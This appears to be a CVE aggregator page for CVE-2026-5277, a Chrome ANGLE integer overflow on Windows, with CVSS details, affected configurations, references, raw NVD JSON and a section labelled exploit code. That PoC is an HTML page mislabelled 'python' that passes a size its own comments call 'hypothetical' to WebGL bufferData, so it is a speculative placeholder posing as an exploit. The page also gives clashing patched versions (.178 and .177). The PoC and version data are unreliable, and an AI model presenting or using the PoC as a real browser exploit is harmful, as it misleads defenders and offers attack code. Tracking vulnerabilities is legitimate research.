CVE-2026-5277

Description

Integer overflow in ANGLE in Google Chrome on Windows prior to 146.0.7680.178 allowed a remote attacker who had compromised the renderer process to perform an out of bounds memory write via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome < 146.0.7680.178

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
PoC for CVE-2026-5277: Integer Overflow in ANGLE
Description: This HTML page attempts to trigger an integer overflow in the ANGLE component.
Note: Successful exploitation typically requires a compromised renderer process.
-->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2026-5277 PoC</title>
</head>
<body>
    <h3>Testing ANGLE Integer Overflow</h3>
    <canvas id="glCanvas" width="640" height="480"></canvas>
    <script>
        try {
            const canvas = document.getElementById('glCanvas');
            // Get WebGL context from the canvas (uses ANGLE on Windows)
            const gl = canvas.getContext('webgl') || canvas.getContext('experimental-webgl');

            if (gl) {
                console.log("WebGL context initialized.");
                
                // Attempt to trigger overflow via buffer data
                // A specific size calculation triggers the integer overflow
                // This value is hypothetical and represents the crafted input
                const craftedSize = 0x7FFFFFFF; 
                
                const buffer = gl.createBuffer();
                gl.bindBuffer(gl.ARRAY_BUFFER, buffer);
                
                // The bufferData call attempts to allocate memory based on the crafted size
                // If vulnerable, this triggers the integer overflow and OOB write
                gl.bufferData(gl.ARRAY_BUFFER, craftedSize, gl.STATIC_DRAW);
                
                console.log("bufferData called with crafted size.");
            } else {
                console.log("WebGL not supported.");
            }
        } catch (e) {
            console.error("Exception occurred during PoC execution:", e);
        }
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-5277
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-5277
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-5277/
[4] VulDB https://vuldb.com/cve/CVE-2026-5277
[5] https://chromereleases.googleblog.com/2026/03/stable-channel-update-for-desktop_31.html
[6] https://issues.chromium.org/issues/489791424

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-5277", "sourceIdentifier": "[email protected]", "published": "2026-04-01T05:16:00.933", "lastModified": "2026-04-01T16:40:22.150", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Integer overflow in ANGLE in Google Chrome on Windows prior to 146.0.7680.178 allowed a remote attacker who had compromised the renderer process to perform an out of bounds memory write via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-472"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "146.0.7680.177", "matchCriteriaId": "55B0324F-7911-403B-8235-D71996B55DFB"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/03/stable-channel-update-for-desktop_31.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/489791424", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}]}}